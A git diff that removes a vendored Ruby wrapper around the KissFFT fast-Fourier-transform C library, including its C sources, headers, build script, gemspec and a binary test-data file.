df58ac43f7..0000000000 --- a/external/ruby-kissfft/ext/kissfft/extconf.rb +++ /dev/null @@ -1,5 +0,0 @@ -require 'mkmf' - -if(have_library("m")) - create_makefile("kissfft") -end diff --git a/external/ruby-kissfft/ext/kissfft/kiss_fft.c b/external/ruby-kissfft/ext/kissfft/kiss_fft.c deleted file mode 100644 index 465d6c97a0..0000000000 --- a/external/ruby-kissfft/ext/kissfft/kiss_fft.c +++ /dev/null @@ -1,408 +0,0 @@ -/* -Copyright (c) 2003-2010, Mark Borgerding - -All rights reserved. - -Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: - - * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. - * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. - * Neither the author nor the names of any contributors may be used to endorse or promote products derived from this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -*/ - - -#include "_kiss_fft_guts.h" -/* The guts header contains all the multiplication and addition macros that are defined for - fixed or floating point complex numbers. It also delares the kf_ internal functions. - */ - -static void kf_bfly2( - kiss_fft_cpx * Fout, - const size_t fstride, - const kiss_fft_cfg st, - int m - ) -{ - kiss_fft_cpx * Fout2; - kiss_fft_cpx * tw1 = st->twiddles; - kiss_fft_cpx t; - Fout2 = Fout + m; - do{ - C_FIXDIV(*Fout,2); C_FIXDIV(*Fout2,2); - - C_MUL (t, *Fout2 , *tw1); - tw1 += fstride; - C_SUB( *Fout2 , *Fout , t ); - C_ADDTO( *Fout , t ); - ++Fout2; - ++Fout; - }while (--m); -} - -static void kf_bfly4( - kiss_fft_cpx * Fout, - const size_t fstride, - const kiss_fft_cfg st, - const size_t m - ) -{ - kiss_fft_cpx *tw1,*tw2,*tw3; - kiss_fft_cpx scratch[6]; - size_t k=m; - const size_t m2=2*m; - const size_t m3=3*m; - - - tw3 = tw2 = tw1 = st->twiddles; - - do { - C_FIXDIV(*Fout,4); C_FIXDIV(Fout[m],4); C_FIXDIV(Fout[m2],4); C_FIXDIV(Fout[m3],4); - - C_MUL(scratch[0],Fout[m] , *tw1 ); - C_MUL(scratch[1],Fout[m2] , *tw2 ); - C_MUL(scratch[2],Fout[m3] , *tw3 ); - - C_SUB( scratch[5] , *Fout, scratch[1] ); - C_ADDTO(*Fout, scratch[1]); - C_ADD( scratch[3] , scratch[0] , scratch[2] ); - C_SUB( scratch[4] , scratch[0] , scratch[2] ); - C_SUB( Fout[m2], *Fout, scratch[3] ); - tw1 += fstride; - tw2 += fstride*2; - tw3 += fstride*3; - C_ADDTO( *Fout , scratch[3] ); - - if(st->inverse) { - Fout[m].r = scratch[5].r - scratch[4].i; - Fout[m].i = scratch[5].i + scratch[4].r; - Fout[m3].r = scratch[5].r + scratch[4].i; - Fout[m3].i = scratch[5].i - scratch[4].r; - }else{ - Fout[m].r = scratch[5].r + scratch[4].i; - Fout[m].i = scratch[5].i - scratch[4].r; - Fout[m3].r = scratch[5].r - scratch[4].i; - Fout[m3].i = scratch[5].i + scratch[4].r; - } - ++Fout; - }while(--k); -} - -static void kf_bfly3( - kiss_fft_cpx * Fout, - const size_t fstride, - const kiss_fft_cfg st, - size_t m - ) -{ - size_t k=m; - const size_t m2 = 2*m; - kiss_fft_cpx *tw1,*tw2; - kiss_fft_cpx scratch[5]; - kiss_fft_cpx epi3; - epi3 = st->twiddles[fstride*m]; - - tw1=tw2=st->twiddles; - - do{ - C_FIXDIV(*Fout,3); C_FIXDIV(Fout[m],3); C_FIXDIV(Fout[m2],3); - - C_MUL(scratch[1],Fout[m] , *tw1); - C_MUL(scratch[2],Fout[m2] , *tw2); - - C_ADD(scratch[3],scratch[1],scratch[2]); - C_SUB(scratch[0],scratch[1],scratch[2]); - tw1 += fstride; - tw2 += fstride*2; - - Fout[m].r = Fout->r - HALF_OF(scratch[3].r); - Fout[m].i = Fout->i - HALF_OF(scratch[3].i); - - C_MULBYSCALAR( scratch[0] , epi3.i ); - - C_ADDTO(*Fout,scratch[3]); - - Fout[m2].r = Fout[m].r + scratch[0].i; - Fout[m2].i = Fout[m].i - scratch[0].r; - - Fout[m].r -= scratch[0].i; - Fout[m].i += scratch[0].r; - - ++Fout; - }while(--k); -} - -static void kf_bfly5( - kiss_fft_cpx * Fout, - const size_t fstride, - const kiss_fft_cfg st, - int m - ) -{ - kiss_fft_cpx *Fout0,*Fout1,*Fout2,*Fout3,*Fout4; - int u; - kiss_fft_cpx scratch[13]; - kiss_fft_cpx * twiddles = st->twiddles; - kiss_fft_cpx *tw; - kiss_fft_cpx ya,yb; - ya = twiddles[fstride*m]; - yb = twiddles[fstride*2*m]; - - Fout0=Fout; - Fout1=Fout0+m; - Fout2=Fout0+2*m; - Fout3=Fout0+3*m; - Fout4=Fout0+4*m; - - tw=st->twiddles; - for ( u=0; u<m; ++u ) { - C_FIXDIV( *Fout0,5); C_FIXDIV( *Fout1,5); C_FIXDIV( *Fout2,5); C_FIXDIV( *Fout3,5); C_FIXDIV( *Fout4,5); - scratch[0] = *Fout0; - - C_MUL(scratch[1] ,*Fout1, tw[u*fstride]); - C_MUL(scratch[2] ,*Fout2, tw[2*u*fstride]); - C_MUL(scratch[3] ,*Fout3, tw[3*u*fstride]); - C_MUL(scratch[4] ,*Fout4, tw[4*u*fstride]); - - C_ADD( scratch[7],scratch[1],scratch[4]); - C_SUB( scratch[10],scratch[1],scratch[4]); - C_ADD( scratch[8],scratch[2],scratch[3]); - C_SUB( scratch[9],scratch[2],scratch[3]); - - Fout0->r += scratch[7].r + scratch[8].r; - Fout0->i += scratch[7].i + scratch[8].i; - - scratch[5].r = scratch[0].r + S_MUL(scratch[7].r,ya.r) + S_MUL(scratch[8].r,yb.r); - scratch[5].i = scratch[0].i + S_MUL(scratch[7].i,ya.r) + S_MUL(scratch[8].i,yb.r); - - scratch[6].r = S_MUL(scratch[10].i,ya.i) + S_MUL(scratch[9].i,yb.i); - scratch[6].i = -S_MUL(scratch[10].r,ya.i) - S_MUL(scratch[9].r,yb.i); - - C_SUB(*Fout1,scratch[5],scratch[6]); - C_ADD(*Fout4,scratch[5],scratch[6]); - - scratch[11].r = scratch[0].r + S_MUL(scratch[7].r,yb.r) + S_MUL(scratch[8].r,ya.r); - scratch[11].i = scratch[0].i + S_MUL(scratch[7].i,yb.r) + S_MUL(scratch[8].i,ya.r); - scratch[12].r = - S_MUL(scratch[10].i,yb.i) + S_MUL(scratch[9].i,ya.i); - scratch[12].i = S_MUL(scratch[10].r,yb.i) - S_MUL(scratch[9].r,ya.i); - - C_ADD(*Fout2,scratch[11],scratch[12]); - C_SUB(*Fout3,scratch[11],scratch[12]); - - ++Fout0;++Fout1;++Fout2;++Fout3;++Fout4; - } -} - -/* perform the butterfly for one stage of a mixed radix FFT */ -static void kf_bfly_generic( - kiss_fft_cpx * Fout, - const size_t fstride, - const kiss_fft_cfg st, - int m, - int p - ) -{ - int u,k,q1,q; - kiss_fft_cpx * twiddles = st->twiddles; - kiss_fft_cpx t; - int Norig = st->nfft; - - kiss_fft_cpx * scratch = (kiss_fft_cpx*)KISS_FFT_TMP_ALLOC(sizeof(kiss_fft_cpx)*p); - - for ( u=0; u<m; ++u ) { - k=u; - for ( q1=0 ; q1<p ; ++q1 ) { - scratch[q1] = Fout[ k ]; - C_FIXDIV(scratch[q1],p); - k += m; - } - - k=u; - for ( q1=0 ; q1<p ; ++q1 ) { - int twidx=0; - Fout[ k ] = scratch[0]; - for (q=1;q<p;++q ) { - twidx += fstride * k; - if (twidx>=Norig) twidx-=Norig; - C_MUL(t,scratch[q] , twiddles[twidx] ); - C_ADDTO( Fout[ k ] ,t); - } - k += m; - } - } - KISS_FFT_TMP_FREE(scratch); -} - -static -void kf_work( - kiss_fft_cpx * Fout, - const kiss_fft_cpx * f, - const size_t fstride, - int in_stride, - int * factors, - const kiss_fft_cfg st - ) -{ - kiss_fft_cpx * Fout_beg=Fout; - const int p=*factors++; /* the radix */ - const int m=*factors++; /* stage's fft length/p */ - const kiss_fft_cpx * Fout_end = Fout + p*m; - -#ifdef _OPENMP - // use openmp extensions at the - // top-level (not recursive) - if (fstride==1 && p<=5) - { - int k; - - // execute the p different work units in different threads -# pragma omp parallel for - for (k=0;k<p;++k) - kf_work( Fout +k*m, f+ fstride*in_stride*k,fstride*p,in_stride,factors,st); - // all threads have joined by this point - - switch (p) { - case 2: kf_bfly2(Fout,fstride,st,m); break; - case 3: kf_bfly3(Fout,fstride,st,m); break; - case 4: kf_bfly4(Fout,fstride,st,m); break; - case 5: kf_bfly5(Fout,fstride,st,m); break; - default: kf_bfly_generic(Fout,fstride,st,m,p); break; - } - return; - } -#endif - - if (m==1) { - do{ - *Fout = *f; - f += fstride*in_stride; - }while(++Fout != Fout_end ); - }else{ - do{ - // recursive call: - // DFT of size m*p performed by doing - // p instances of smaller DFTs of size m, - // each one takes a decimated version of the input - kf_work( Fout , f, fstride*p, in_stride, factors,st); - f += fstride*in_stride; - }while( (Fout += m) != Fout_end ); - } - - Fout=Fout_beg; - - // recombine the p smaller DFTs - switch (p) { - case 2: kf_bfly2(Fout,fstride,st,m); break; - case 3: kf_bfly3(Fout,fstride,st,m); break; - case 4: kf_bfly4(Fout,fstride,st,m); break; - case 5: kf_bfly5(Fout,fstride,st,m); break; - default: kf_bfly_generic(Fout,fstride,st,m,p); break; - } -} - -/* facbuf is populated by p1,m1,p2,m2, ... - where - p[i] * m[i] = m[i-1] - m0 = n */ -static -void kf_factor(int n,int * facbuf) -{ - int p=4; - double floor_sqrt; - floor_sqrt = floor( sqrt((double)n) ); - - /*factor out powers of 4, powers of 2, then any remaining primes */ - do { - while (n % p) { - switch (p) { - case 4: p = 2; break; - case 2: p = 3; break; - default: p += 2; break; - } - if (p > floor_sqrt) - p = n; /* no more factors, skip to end */ - } - n /= p; - *facbuf++ = p; - *facbuf++ = n; - } while (n > 1); -} - -/* - * - * User-callable function to allocate all necessary storage space for the fft. - * - * The return value is a contiguous block of memory, allocated with malloc. As such, - * It can be freed with free(), rather than a kiss_fft-specific function. - * */ -kiss_fft_cfg kiss_fft_alloc(int nfft,int inverse_fft,void * mem,size_t * lenmem ) -{ - kiss_fft_cfg st=NULL; - size_t memneeded = sizeof(struct kiss_fft_state) - + sizeof(kiss_fft_cpx)*(nfft-1); /* twiddle factors*/ - - if ( lenmem==NULL ) { - st = ( kiss_fft_cfg)KISS_FFT_MALLOC( memneeded ); - }else{ - if (mem != NULL && *lenmem >= memneeded) - st = (kiss_fft_cfg)mem; - *lenmem = memneeded; - } - if (st) { - int i; - st->nfft=nfft; - st->inverse = inverse_fft; - - for (i=0;i<nfft;++i) { - const double pi=3.141592653589793238462643383279502884197169399375105820974944; - double phase = -2*pi*i / nfft; - if (st->inverse) - phase *= -1; - kf_cexp(st->twiddles+i, phase ); - } - - kf_factor(nfft,st->factors); - } - return st; -} - - -void kiss_fft_stride(kiss_fft_cfg st,const kiss_fft_cpx *fin,kiss_fft_cpx *fout,int in_stride) -{ - if (fin == fout) { - //NOTE: this is not really an in-place FFT algorithm. - //It just performs an out-of-place FFT into a temp buffer - kiss_fft_cpx * tmpbuf = (kiss_fft_cpx*)KISS_FFT_TMP_ALLOC( sizeof(kiss_fft_cpx)*st->nfft); - kf_work(tmpbuf,fin,1,in_stride, st->factors,st); - memcpy(fout,tmpbuf,sizeof(kiss_fft_cpx)*st->nfft); - KISS_FFT_TMP_FREE(tmpbuf); - }else{ - kf_work( fout, fin, 1,in_stride, st->factors,st ); - } -} - -void kiss_fft(kiss_fft_cfg cfg,const kiss_fft_cpx *fin,kiss_fft_cpx *fout) -{ - kiss_fft_stride(cfg,fin,fout,1); -} - - -void kiss_fft_cleanup(void) -{ - // nothing needed any more -} - -int kiss_fft_next_fast_size(int n) -{ - while(1) { - int m=n; - while ( (m%2) == 0 ) m/=2; - while ( (m%3) == 0 ) m/=3; - while ( (m%5) == 0 ) m/=5; - if (m<=1) - break; /* n is completely factorable by twos, threes, and fives */ - n++; - } - return n; -} diff --git a/external/ruby-kissfft/ext/kissfft/kiss_fft.h b/external/ruby-kissfft/ext/kissfft/kiss_fft.h deleted file mode 100644 index 64c50f4aae..0000000000 --- a/external/ruby-kissfft/ext/kissfft/kiss_fft.h +++ /dev/null @@ -1,124 +0,0 @@ -#ifndef KISS_FFT_H -#define KISS_FFT_H - -#include <stdlib.h> -#include <stdio.h> -#include <math.h> -#include <string.h> - -#ifdef __cplusplus -extern "C" { -#endif - -/* - ATTENTION! - If you would like a : - -- a utility that will handle the caching of fft objects - -- real-only (no imaginary time component ) FFT - -- a multi-dimensional FFT - -- a command-line utility to perform ffts - -- a command-line utility to perform fast-convolution filtering - - Then see kfc.h kiss_fftr.h kiss_fftnd.h fftutil.c kiss_fastfir.c - in the tools/ directory. -*/ - -#ifdef USE_SIMD -# include <xmmintrin.h> -# define kiss_fft_scalar __m128 -#define KISS_FFT_MALLOC(nbytes) _mm_malloc(nbytes,16) -#define KISS_FFT_FREE _mm_free -#else -#define KISS_FFT_MALLOC malloc -#define KISS_FFT_FREE free -#endif - - -#ifdef FIXED_POINT -#include <sys/types.h> -# if (FIXED_POINT == 32) -# define kiss_fft_scalar int32_t -# else -# define kiss_fft_scalar int16_t -# endif -#else -# ifndef kiss_fft_scalar -/* default is float */ -# define kiss_fft_scalar float -# endif -#endif - -typedef struct { - kiss_fft_scalar r; - kiss_fft_scalar i; -}kiss_fft_cpx; - -typedef struct kiss_fft_state* kiss_fft_cfg; - -/* - * kiss_fft_alloc - * - * Initialize a FFT (or IFFT) algorithm's cfg/state buffer. - * - * typical usage: kiss_fft_cfg mycfg=kiss_fft_alloc(1024,0,NULL,NULL); - * - * The return value from fft_alloc is a cfg buffer used internally - * by the fft routine or NULL. - * - * If lenmem is NULL, then kiss_fft_alloc will allocate a cfg buffer using malloc. - * The returned value should be free()d when done to avoid memory leaks. - * - * The state can be placed in a user supplied buffer 'mem': - * If lenmem is not NULL and mem is not NULL and *lenmem is large enough, - * then the function places the cfg in mem and the size used in *lenmem - * and returns mem. - * - * If lenmem is not NULL and ( mem is NULL or *lenmem is not large enough), - * then the function returns NULL and places the minimum cfg - * buffer size in *lenmem. - * */ - -kiss_fft_cfg kiss_fft_alloc(int nfft,int inverse_fft,void * mem,size_t * lenmem); - -/* - * kiss_fft(cfg,in_out_buf) - * - * Perform an FFT on a complex input buffer. - * for a forward FFT, - * fin should be f[0] , f[1] , ... ,f[nfft-1] - * fout will be F[0] , F[1] , ... ,F[nfft-1] - * Note that each element is complex and can be accessed like - f[k].r and f[k].i - * */ -void kiss_fft(kiss_fft_cfg cfg,const kiss_fft_cpx *fin,kiss_fft_cpx *fout); - -/* - A more generic version of the above function. It reads its input from every Nth sample. - * */ -void kiss_fft_stride(kiss_fft_cfg cfg,const kiss_fft_cpx *fin,kiss_fft_cpx *fout,int fin_stride); - -/* If kiss_fft_alloc allocated a buffer, it is one contiguous - buffer and can be simply free()d when no longer needed*/ -#define kiss_fft_free free - -/* - Cleans up some memory that gets managed internally. Not necessary to call, but it might clean up - your compiler output to call this before you exit. -*/ -void kiss_fft_cleanup(void); - - -/* - * Returns the smallest integer k, such that k>=n and k has only "fast" factors (2,3,5) - */ -int kiss_fft_next_fast_size(int n); - -/* for real ffts, we need an even size */ -#define kiss_fftr_next_fast_size_real(n) \ - (kiss_fft_next_fast_size( ((n)+1)>>1)<<1) - -#ifdef __cplusplus -} -#endif - -#endif diff --git a/external/ruby-kissfft/ext/kissfft/kiss_fftr.c b/external/ruby-kissfft/ext/kissfft/kiss_fftr.c deleted file mode 100644 index b8e238b1e2..0000000000 --- a/external/ruby-kissfft/ext/kissfft/kiss_fftr.c +++ /dev/null @@ -1,159 +0,0 @@ -/* -Copyright (c) 2003-2004, Mark Borgerding - -All rights reserved. - -Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: - - * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. - * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. - * Neither the author nor the names of any contributors may be used to endorse or promote products derived from this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -*/ - -#include "kiss_fftr.h" -#include "_kiss_fft_guts.h" - -struct kiss_fftr_state{ - kiss_fft_cfg substate; - kiss_fft_cpx * tmpbuf; - kiss_fft_cpx * super_twiddles; -#ifdef USE_SIMD - void * pad; -#endif -}; - -kiss_fftr_cfg kiss_fftr_alloc(int nfft,int inverse_fft,void * mem,size_t * lenmem) -{ - int i; - kiss_fftr_cfg st = NULL; - size_t subsize, memneeded; - - if (nfft & 1) { - fprintf(stderr,"Real FFT optimization must be even.\n"); - return NULL; - } - nfft >>= 1; - - kiss_fft_alloc (nfft, inverse_fft, NULL, &subsize); - memneeded = sizeof(struct kiss_fftr_state) + subsize + sizeof(kiss_fft_cpx) * ( nfft * 3 / 2); - - if (lenmem == NULL) { - st = (kiss_fftr_cfg) KISS_FFT_MALLOC (memneeded); - } else { - if (*lenmem >= memneeded) - st = (kiss_fftr_cfg) mem; - *lenmem = memneeded; - } - if (!st) - return NULL; - - st->substate = (kiss_fft_cfg) (st + 1); /*just beyond kiss_fftr_state struct */ - st->tmpbuf = (kiss_fft_cpx *) (((char *) st->substate) + subsize); - st->super_twiddles = st->tmpbuf + nfft; - kiss_fft_alloc(nfft, inverse_fft, st->substate, &subsize); - - for (i = 0; i < nfft/2; ++i) { - double phase = - -3.14159265358979323846264338327 * ((double) (i+1) / nfft + .5); - if (inverse_fft) - phase *= -1; - kf_cexp (st->super_twiddles+i,phase); - } - return st; -} - -void kiss_fftr(kiss_fftr_cfg st,const kiss_fft_scalar *timedata,kiss_fft_cpx *freqdata) -{ - /* input buffer timedata is stored row-wise */ - int k,ncfft; - kiss_fft_cpx fpnk,fpk,f1k,f2k,tw,tdc; - - if ( st->substate->inverse) { - fprintf(stderr,"kiss fft usage error: improper alloc\n"); - exit(1); - } - - ncfft = st->substate->nfft; - - /*perform the parallel fft of two real signals packed in real,imag*/ - kiss_fft( st->substate , (const kiss_fft_cpx*)timedata, st->tmpbuf ); - /* The real part of the DC element of the frequency spectrum in st->tmpbuf - * contains the sum of the even-numbered elements of the input time sequence - * The imag part is the sum of the odd-numbered elements - * - * The sum of tdc.r and tdc.i is the sum of the input time sequence. - * yielding DC of input time sequence - * The difference of tdc.r - tdc.i is the sum of the input (dot product) [1,-1,1,-1... - * yielding Nyquist bin of input time sequence - */ - - tdc.r = st->tmpbuf[0].r; - tdc.i = st->tmpbuf[0].i; - C_FIXDIV(tdc,2); - CHECK_OVERFLOW_OP(tdc.r ,+, tdc.i); - CHECK_OVERFLOW_OP(tdc.r ,-, tdc.i); - freqdata[0].r = tdc.r + tdc.i; - freqdata[ncfft].r = tdc.r - tdc.i; -#ifdef USE_SIMD - freqdata[ncfft].i = freqdata[0].i = _mm_set1_ps(0); -#else - freqdata[ncfft].i = freqdata[0].i = 0; -#endif - - for ( k=1;k <= ncfft/2 ; ++k ) { - fpk = st->tmpbuf[k]; - fpnk.r = st->tmpbuf[ncfft-k].r; - fpnk.i = - st->tmpbuf[ncfft-k].i; - C_FIXDIV(fpk,2); - C_FIXDIV(fpnk,2); - - C_ADD( f1k, fpk , fpnk ); - C_SUB( f2k, fpk , fpnk ); - C_MUL( tw , f2k , st->super_twiddles[k-1]); - - freqdata[k].r = HALF_OF(f1k.r + tw.r); - freqdata[k].i = HALF_OF(f1k.i + tw.i); - freqdata[ncfft-k].r = HALF_OF(f1k.r - tw.r); - freqdata[ncfft-k].i = HALF_OF(tw.i - f1k.i); - } -} - -void kiss_fftri(kiss_fftr_cfg st,const kiss_fft_cpx *freqdata,kiss_fft_scalar *timedata) -{ - /* input buffer timedata is stored row-wise */ - int k, ncfft; - - if (st->substate->inverse == 0) { - fprintf (stderr, "kiss fft usage error: improper alloc\n"); - exit (1); - } - - ncfft = st->substate->nfft; - - st->tmpbuf[0].r = freqdata[0].r + freqdata[ncfft].r; - st->tmpbuf[0].i = freqdata[0].r - freqdata[ncfft].r; - C_FIXDIV(st->tmpbuf[0],2); - - for (k = 1; k <= ncfft / 2; ++k) { - kiss_fft_cpx fk, fnkc, fek, fok, tmp; - fk = freqdata[k]; - fnkc.r = freqdata[ncfft - k].r; - fnkc.i = -freqdata[ncfft - k].i; - C_FIXDIV( fk , 2 ); - C_FIXDIV( fnkc , 2 ); - - C_ADD (fek, fk, fnkc); - C_SUB (tmp, fk, fnkc); - C_MUL (fok, tmp, st->super_twiddles[k-1]); - C_ADD (st->tmpbuf[k], fek, fok); - C_SUB (st->tmpbuf[ncfft - k], fek, fok); -#ifdef USE_SIMD - st->tmpbuf[ncfft - k].i *= _mm_set1_ps(-1.0); -#else - st->tmpbuf[ncfft - k].i *= -1; -#endif - } - kiss_fft (st->substate, st->tmpbuf, (kiss_fft_cpx *) timedata); -} diff --git a/external/ruby-kissfft/ext/kissfft/kiss_fftr.h b/external/ruby-kissfft/ext/kissfft/kiss_fftr.h deleted file mode 100644 index 72e5a57714..0000000000 --- a/external/ruby-kissfft/ext/kissfft/kiss_fftr.h +++ /dev/null @@ -1,46 +0,0 @@ -#ifndef KISS_FTR_H -#define KISS_FTR_H - -#include "kiss_fft.h" -#ifdef __cplusplus -extern "C" { -#endif - - -/* - - Real optimized version can save about 45% cpu time vs. complex fft of a real seq. - - - - */ - -typedef struct kiss_fftr_state *kiss_fftr_cfg; - - -kiss_fftr_cfg kiss_fftr_alloc(int nfft,int inverse_fft,void * mem, size_t * lenmem); -/* - nfft must be even - - If you don't care to allocate space, use mem = lenmem = NULL -*/ - - -void kiss_fftr(kiss_fftr_cfg cfg,const kiss_fft_scalar *timedata,kiss_fft_cpx *freqdata); -/* - input timedata has nfft scalar points - output freqdata has nfft/2+1 complex points -*/ - -void kiss_fftri(kiss_fftr_cfg cfg,const kiss_fft_cpx *freqdata,kiss_fft_scalar *timedata); -/* - input freqdata has nfft/2+1 complex points - output timedata has nfft scalar points -*/ - -#define kiss_fftr_free free - -#ifdef __cplusplus -} -#endif -#endif diff --git a/external/ruby-kissfft/ext/kissfft/main.c b/external/ruby-kissfft/ext/kissfft/main.c deleted file mode 100644 index 13c0a94f1b..0000000000 --- a/external/ruby-kissfft/ext/kissfft/main.c +++ /dev/null @@ -1,155 +0,0 @@ -/* - ruby-kissfft: a simple ruby module embedding the Kiss FFT library - Copyright (C) 2009-2010 Rapid7, Inc - H D Moore <hdm[at]metasploit.com> - - Derived from "psdpng.c" from the KissFFT tools directory - Copyright (C) 2003-2006 Mark Borgerding -*/ - -#include "ruby.h" - - -#include <stdlib.h> -#include <math.h> -#include <stdio.h> -#include <string.h> -#include <unistd.h> - -#include "kiss_fft.h" -#include "kiss_fftr.h" - -static VALUE rb_cKissFFT; - -#define KISS_VERSION "1.2.8-1.0" - - -static VALUE -rbkiss_s_version(VALUE class) -{ - return rb_str_new2(KISS_VERSION); -} - -#define CHECKNULL(p) if ( (p)==NULL ) do { fprintf(stderr,"CHECKNULL failed @ %s(%d): %s\n",__FILE__,__LINE__,#p );exit(1);} while(0) - -static VALUE -rbkiss_s_fftr(VALUE class, VALUE r_nfft, VALUE r_rate, VALUE r_buckets, VALUE r_data) -{ - kiss_fftr_cfg cfg=NULL; - kiss_fft_scalar *tbuf; - kiss_fft_cpx *fbuf; - float *mag2buf; - int i; - int avgctr=0; - int nrows=0; - - int nfft; - int rate; - int navg; - int nfreqs; - - int inp_len; - int inp_idx; - - // Result set - VALUE res; - VALUE tmp; - VALUE set; - res = rb_ary_new(); - - if(TYPE(r_nfft) != T_FIXNUM) { - return Qnil; - } - nfft=NUM2INT(r_nfft); - - if(TYPE(r_rate) != T_FIXNUM) { - return Qnil; - } - rate=NUM2INT(r_rate); - - if(TYPE(r_buckets) != T_FIXNUM) { - return Qnil; - } - navg=NUM2INT(r_buckets); - - if(TYPE(r_data) != T_ARRAY) { - return Qnil; - } - - if(RARRAY_LEN(r_data) == 0) { - return Qnil; - } - - if(TYPE(RARRAY_PTR(r_data)[0]) != T_FIXNUM ) { - return Qnil; - } - - nfreqs=nfft/2+1; - - CHECKNULL( cfg=kiss_fftr_alloc(nfft,0,0,0) ); - CHECKNULL( tbuf=(kiss_fft_scalar*)malloc(sizeof(kiss_fft_scalar)*(nfft + 2) ) ); - CHECKNULL( fbuf=(kiss_fft_cpx*)malloc(sizeof(kiss_fft_cpx)*(nfft + 2)) ); - CHECKNULL( mag2buf=(float*)malloc(sizeof(float)*(nfft + 2) )); - - memset(mag2buf,0,sizeof(mag2buf)*nfreqs); - - inp_len = RARRAY_LEN(r_data); - inp_idx = 0; - - while(inp_idx < inp_len) { - - // Fill tbuf with nfft samples - for(i=0;i<nfft;i++) { - if(inp_idx + i >= inp_len) { - tbuf[i] = 0; - } else { - if(TYPE(RARRAY_PTR(r_data)[ inp_idx + i ]) != T_FIXNUM) { - tbuf[i] = 0; - } else { - tbuf[i] = NUM2INT( RARRAY_PTR(r_data)[ inp_idx + i ] ); - } - } - } - - - /* do FFT */ - kiss_fftr(cfg,tbuf,fbuf); - - for (i=0;i<nfreqs;++i) { - mag2buf[i] += fbuf[i].r * fbuf[i].r + fbuf[i].i * fbuf[i].i; - } - - if (++avgctr == navg) { - float eps = 1; - avgctr=0; - ++nrows; - - // RESULTS - set = rb_ary_new(); - for (i=0;i<nfreqs;++i) { - float pwr = 10 * log10( mag2buf[i] / navg + eps ); - tmp = rb_ary_new(); - rb_ary_push(tmp, rb_float_new( (float)i * ( ( (float)rate / 2) / (float)nfreqs) )); - rb_ary_push(tmp, rb_float_new( pwr)); - rb_ary_push(set, tmp); - } - rb_ary_push(res, set); - memset(mag2buf,0,sizeof(mag2buf[0])*nfreqs); - } - inp_idx += nfft; - } - - free(cfg); - free(tbuf); - free(fbuf); - free(mag2buf); - return(res); -} - -void -Init_kissfft() -{ - // KissFFT - rb_cKissFFT = rb_define_class("KissFFT", rb_cObject); - rb_define_module_function(rb_cKissFFT, "version", rbkiss_s_version, 0); - rb_define_module_function(rb_cKissFFT, "fftr", rbkiss_s_fftr, 4); -} diff --git a/external/ruby-kissfft/kissfft.gemspec b/external/ruby-kissfft/kissfft.gemspec deleted file mode 100644 index 6596f704c1..0000000000 --- a/external/ruby-kissfft/kissfft.gemspec +++ /dev/null @@ -1,16 +0,0 @@ -# -*- encoding: utf-8 -*- - -Gem::Specification.new do |s| - s.name = "kissfft" - s.version = "0.0.1" - s.authors = ["HD Moore"] - s.email = ["hdm@rapid7.com"] - s.homepage = "" - s.summary = %q{Ruby wrapper around the KisFFT library for performing FFTs} - s.description = %q{Provides access to the KissFFT library for performing fast-fourier transforms from Ruby } - - s.files = Dir.glob('lib/**/*.rb') + Dir.glob('ext/**/*.{c,h,rb}') + [ "LICENSE" ] - s.test_files = Dir.glob('test/**/*.{rb,data}') - s.extensions = [ 'ext/kissfft/extconf.rb' ] - s.require_paths = ["lib"] -end diff --git a/external/ruby-kissfft/tests/sample.data b/external/ruby-kissfft/tests/sample.data deleted file mode 100644 index da7c9b2b2ce4ec4f6c4a945685d5d422ef043375..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 129440 zcmZs^U#KMM*5;KF`DgE{%I;I=d?~g=sO1o1tBLe5`9WWV(rO4TCfI`sHbY!A7+|S; zhQ3JQldmphD6kn5t#3@Q!H{Voz;;ZeU=nPY0BbZZT205kNSwlni$+3hnEcME?#iml zKM|4s)_NmyXVv-Gbe}`@uAM8^`@YZftY@t^w%0FyRs6d6P4VmG{p4=ceRc{D=_~)2 z&Wp~A^o9R2eVre^Jw<KjD!G%~_3n9hy=$j8Za;2Ks;~%;`N2Kr$89mHhNtgOAGCft 